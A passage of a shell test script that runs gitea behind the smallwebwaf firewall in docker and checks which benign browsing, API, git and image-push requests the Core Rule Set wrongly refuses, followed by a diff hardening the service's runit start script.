# localhost over plain HTTP, as docker does by default. script/check does
# not run this.
set -eu
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd -P)"
ROOT="$(cd "$SCRIPT_DIR/.." && pwd -P)"
# gitea 1.27.3, 2026-08-29
GITEA_IMAGE="gitea/gitea@sha256:87a67ee09d3ae0d1df5fda5dcda3e2a1f9236a45b0a59025d6e00e46adc43bef"
# Named after this run, so that runs in other clones on the same host
# never touch each other's.
NAME="$("$SCRIPT_DIR/projectname")-gitea-$$"
IMAGE="$NAME-image"
NETWORK="$NAME"
SMALLWEBWAF="$NAME-smallwebwaf"
GITEA="$NAME-gitea"
# gitea's one user, who owns the repository and the container images.
PASSWORD="owner-password"
BROWSER="Mozilla/5.0 (X11; Linux x86_64; rv:131.0) Gecko/20100101 Firefox/131.0"
# The files the script makes, and smallwebwaf's address once it runs,
# localhost and the port docker publishes it on: a host name, since the
# Core Rule Set takes a Host that is an IP address for a warning (920350).
WORK=""
address=""
cleanup() {
# So that a signal cannot stop it partway through.
trap '' HUP INT TERM
docker rm --force --volumes "$SMALLWEBWAF" "$GITEA" >/dev/null 2>&1 || true
docker network rm "$NETWORK" >/dev/null 2>&1 || true
docker rmi --force "$IMAGE" >/dev/null 2>&1 || true
if [ -n "$address" ]; then
docker rmi --force "$address/owner/python3-app:1" "$address/owner/app:1" \
>/dev/null 2>&1 || true
fi
rm -rf "$WORK"
}
fail() {
echo "gitea-requests: $*" >&2
report
exit 1
}
# wait_for <what fails> <command>...: run the command every second until
# it succeeds, for at most a minute.
wait_for() {
failure="$1"
shift
tries=0
until "$@"; do
tries=$((tries + 1))
[ "$tries" -lt 60 ] || fail "$failure"
sleep 1
done
}
healthy() {
status="$(docker inspect --format '{{.State.Health.Status}}' "$SMALLWEBWAF")"
[ "$status" = healthy ]
}
# logged <text>...: a line of smallwebwaf's output holds every text, in
# any order.
logged() {
lines="$(docker logs "$SMALLWEBWAF" 2>&1)"
for text in "$@"; do
lines="$(printf '%s\n' "$lines" | grep -F "$text")" || return 1
done
}
# send <label> <path> <curl option>...: send a request for path to
# smallwebwaf, with label as its X-Request-ID, which the report gives,
# and keep the body of the answer in $WORK/answer. The Core Rule Set
# reads that header too, so a label names no file the cases name.
send() {
label="$1"
path="$2"
shift 2
curl --silent --show-error --max-time 30 --output "$WORK/answer" \
--header "X-Request-ID: $label" "$@" "http://$address$path"
}
# page <label> <path> <curl option>...: send the request as a browser
# does, with the cookies gitea has set. Its Referer is the repository's
# page, which links to the others, and never a page the Core Rule Set
# refused: its address would have the next request refused too.
page() {
label="$1"
path="$2"
shift 2
send "$label" "$path" --compressed --user-agent "$BROWSER" \
--header "Accept: text/html,application/xhtml+xml,*/*;q=0.8" \
--header "Accept-Language: en-US,en;q=0.5" \
--cookie "$WORK/cookies" --cookie-jar "$WORK/cookies" \
--referer "http://$address/owner/repo" "$@"
}
# api <label> <path> <curl option>...: send the request as a client of
# gitea's API does, as the owner.
api() {
label="$1"
path="$2"
shift 2
send "$label" "$path" --user "owner:$PASSWORD" \
--header "Accept: application/json" "$@"
}
# repo_git <git argument>...: run git as the owner, without the host's
# own git settings, so that nothing it does is kept outside $WORK.
repo_git() {
GIT_CONFIG_GLOBAL=/dev/null GIT_CONFIG_NOSYSTEM=1 git \
-c user.name=owner -c user.email=owner@example.invalid "$@"
}
# lines: forty lines of text, enough for a diff to hide some of them.
lines() {
i=1
while [ "$i" -le 40 ]; do
echo "line $i"
i=$((i + 1))
done
}
# make_repository: create the repository owner/repo, holding a file of
# each name the cases name, and push it, which is the push over HTTP of
# the sample. The second commit adds a line at the end of Runtime.java,
# so that its diff hides the lines above.
make_repository() {
status="$(api create-repository /api/v1/user/repos \
--header "Content-Type: application/json" --data '{"name":"repo"}' \
--write-out '%{http_code}')"
[ "$status" = 201 ] || fail "creating the repository was answered $status"
dir="$WORK/repo"
repo_git init --quiet --initial-branch=main "$dir"
for file in \
src/java.base/share/classes/java/lang/Runtime.java \
java.lang.String.md \
META-INF/services/org.apache.commons.logging.LogFactory \
document.write.js \
process.env.d.ts \
test/fixtures/__proto__.json \
install-script.sh \
src/backend/catalog/information_schema.sql \
.../notes.txt \
README.md; do
mkdir -p "$dir/$(dirname "$file")"
lines >"$dir/$file"
repo_git -C "$dir" add "$file"
done
repo_git -C "$dir" commit --quiet --message "Add the files"
echo "line 41" >>"$dir/src/java.base/share/classes/java/lang/Runtime.java"
repo_git -C "$dir" commit --quiet --all --message "Add a line"
repo_git -C "$dir" -c "http.extraHeader=X-Request-ID: git-push" push --quiet \
"http://owner:$PASSWORD@$address/owner/repo.git" main ||
fail "the push of the repository failed"
}
# browse: sign in, then open pages as a person does. The cases are those
# of https://git.eeqj.de/sneak/smallwebwaf/issues/30.
browse() {
# Case: gitea sends a visitor who is not signed in to the sign-in
# page, with the page asked for in redirect_to, when that page needs
# signing in, as a file's edit page does.
page issue-30-case /owner/repo/_edit/main/document.write.js --location
page sign-in /user/login
status="$(page sign-in /user/login --header "Origin: http://$address" \
--data-urlencode user_name=owner --data-urlencode "password=$PASSWORD" \
--write-out '%{http_code}')"
[ "$status" = 303 ] || fail "signing in was answered $status"
page browse /
page browse /owner/repo
page browse /owner/repo/src/branch/main/README.md
page browse /owner/repo/commits/branch/main
page browse "/owner/repo/commit/$(repo_git -C "$WORK/repo" rev-parse HEAD)"
# Case: expanding the lines the diff hides, by the link the diff's
# page gives for it.
excerpt="$(sed -n 's/.*data-fetch-url="\([^"]*blob_excerpt[^"]*\)".*/\1/p' \
"$WORK/answer" | head -n 1 | sed 's/&amp;/\&/g')"
[ -n "$excerpt" ] || fail "the diff's page has no link to its hidden lines"
page issue-30-case "$excerpt"
# Cases: the commit graph of one file, and the pages of files whose
# path the Core Rule Set takes for an attack.
page issue-30-case "/owner/repo/graph?file=src/java.base/share/classes/java/lang/Runtime.java"
page issue-30-case /owner/repo/src/branch/main/META-INF/services/org.apache.commons.logging.LogFactory
page issue-30-case /owner/repo/src/branch/main/java.lang.String.md
page issue-30-case /owner/repo/src/branch/main/process.env.d.ts
page issue-30-case /owner/repo/src/branch/main/.../notes.txt
}
# call_api: the API's calls the cases name: the commits of a file, for a
# file of each name the Core Rule Set takes for an attack in the query
# parameter path, and the file-contents call, which takes its list of
# files as JSON in the query parameter body.
call_api() {
for file in \
src/java.base/share/classes/java/lang/Runtime.java \
java.lang.String.md \
document.write.js \
process.env.d.ts \
test/fixtures/__proto__.json \
install-script.sh \
src/backend/catalog/information_schema.sql; do
api issue-30-case /api/v1/repos/owner/repo/commits --get --data-urlencode "path=$file"
done
api issue-30-case /api/v1/repos/owner/repo/file-contents --get \
--data-urlencode 'body={"files":["src/java.base/share/classes/java/lang/Runtime.java"]}'
}
# push_images: push a container image to owner/python3-app, then the same
# image to owner/app. For the second, the case, docker asks gitea to take
# its layer from owner/python3-app, naming it in the query parameter
# from. docker sends no X-Request-ID, so its requests have the ids
# smallwebwaf gives them. The image is one small file, imported rather
# than built.
push_images() {
echo "$NAME" >"$WORK/layer.txt"
tar -cf - -C "$WORK" layer.txt |
docker import - "$address/owner/python3-app:1" >/dev/null
docker tag "$address/owner/python3-app:1" "$address/owner/app:1"
# The login is written here rather than made with docker login, which
# would keep it in the host's credential helper when it has one.
mkdir "$WORK/docker"
printf '{"auths":{"%s":{"auth":"%s"}}}\n' "$address" \
"$(printf 'owner:%s' "$PASSWORD" | base64)" >"$WORK/docker/config.json"
for image in "$address/owner/python3-app:1" "$address/owner/app:1"; do
DOCKER_CONFIG="$WORK/docker" docker push --quiet "$image" >/dev/null ||
echo "gitea-requests: the push of $image failed" >&2
done
}
# clone_and_fetch: the clone and fetch over HTTP of the sample.
clone_and_fetch() {
repo_git -c "http.extraHeader=X-Request-ID: git-clone" clone --quiet \
"http://owner:$PASSWORD@$address/owner/repo.git" "$WORK/clone" ||
fail "the clone failed"
repo_git -C "$WORK/clone" -c "http.extraHeader=X-Request-ID: git-fetch" fetch --quiet ||
fail "the fetch failed"
}
# field <name> <line>: the text of the field name in line, a line of the
# request log, or nothing when it has none.
field() {
printf '%s\n' "$2" | sed -n "s/.*\"$1\":\"\([^\"]*\)\".*/\1/p"
}
# report: print a line for each request smallwebwaf logged, but its
# health checks: what it did with the request, the ids of the Core Rule
# Set's rules that matched it, its X-Request-ID, and the request.
# waf_blocked is a refusal by the Core Rule Set, and forward a request
# passed on to gitea, whatever gitea answered.
report() {
docker logs "$SMALLWEBWAF" 2>/dev/null | grep '"type":"request"' |
grep -v '"action":"admin"' | sed 's/\\u0026/\&/g' >"$WORK/requests"
while IFS= read -r line; do
ids="$(printf '%s\n' "$line" | sed -n 's/.*"waf_rule_ids":\[\([0-9,]*\)\].*/\1/p')"
query="$(field query "$line")"
printf '%-11s %-13s %-17s %s %s%s\n' "$(field action "$line")" "${ids:--}" \
"$(field request_id "$line")" "$(field method "$line")" \
"$(field path "$line")" "${query:+?$query}"
done <"$WORK/requests"
echo "gitea-requests: $(grep -c . "$WORK/requests") requests," \
"$(grep -c '"action":"waf_blocked"' "$WORK/requests") refused by the Core Rule Set"
}
main() {
cd "$ROOT"
trap cleanup EXIT
trap 'exit 1' HUP INT TERM
WORK="$(mktemp -d)"
docker build --no-cache -t "$IMAGE" .
# smallwebwaf first, so that gitea can be given the address it is
# reached at, and gitea's image pulled before, so that gitea starts
# within the minute smallwebwaf's health check waits for it.
docker pull --quiet "$GITEA_IMAGE" >/dev/null
docker network create "$NETWORK" >/dev/null
docker run --detach --name "$SMALLWEBWAF" --network "$NETWORK" \
--publish 127.0.0.1::8080 \
--env SWWAF_UPSTREAM_URL="http://$GITEA:3000" \
"$IMAGE" >/dev/null
published="$(docker port "$SMALLWEBWAF" 8080/tcp)"
address="localhost:${published##*:}"
docker run --detach --name "$GITEA" --network "$NETWORK" \
--env GITEA__security__INSTALL_LOCK=true \
--env GITEA__server__ROOT_URL="http://$address/" \
"$GITEA_IMAGE" >/dev/null
# smallwebwaf's health check passes once gitea takes connections.
wait_for "the health check did not pass" healthy
docker exec --user git "$GITEA" gitea admin user create --admin \
--username owner --password "$PASSWORD" --email owner@example.invalid \
--must-change-password=false >/dev/null
make_repository
browse
call_api
push_images
clone_and_fetch
# The fetch's last request is the last of all; once it is logged, so
# is every other.
wait_for "smallwebwaf logged no line for the fetch" \
logged '"request_id":"git-fetch"' '"method":"POST"'
report
}
main "$@"
share/smallwebwaf.run
+23 -3
View File
@@ -5,12 +5,32 @@ set -euo pipefail
# exits; the wait spaces out the restarts. The state directory and every
# file in it are given to the smallwebwaf user, so that a volume mounted
# there needs no change of owner; chown -R changes a symbolic link itself,
# never what it points to. exec, so that the signal `sv stop` sends
# reaches smallwebwaf itself.
# never what it points to. When SWWAF_STATE_DIR, in either form, cannot be
# read or is not the absolute path of a directory, no owner is changed,
# and smallwebwaf starts and stops with a message naming the setting. A
# change of owner that fails, as on a volume mounted read-only, does not
# end the script either: smallwebwaf reports a directory it cannot write.
# exec, so that the signal `sv stop` sends reaches smallwebwaf itself.
main() {
sleep 1
chown -R smallwebwaf:smallwebwaf "${SWWAF_STATE_DIR:-/var/lib/smallwebwaf}"
local dir
if dir="$(state_dir)" && [[ "$dir" == /* && -d "$dir" ]]; then
chown -R smallwebwaf:smallwebwaf "$dir" || true
fi
exec chpst -u smallwebwaf:smallwebwaf /usr/local/bin/smallwebwaf
}
# state_dir prints SWWAF_STATE_DIR, /var/lib/smallwebwaf when it is unset,
# or what is in the file SWWAF_STATE_DIR_FILE names, less every newline at
# its end. It fails when both are set or the file cannot be read.
state_dir() {
if [[ ! -v SWWAF_STATE_DIR_FILE ]]; then
printf '%s\n' "${SWWAF_STATE_DIR-/var/lib/smallwebwaf}"
elif [[ ! -v SWWAF_STATE_DIR ]]; then
cat -- "$SWWAF_STATE_DIR_FILE" 2>/dev/null
else
return 1
fi
}
main "$@"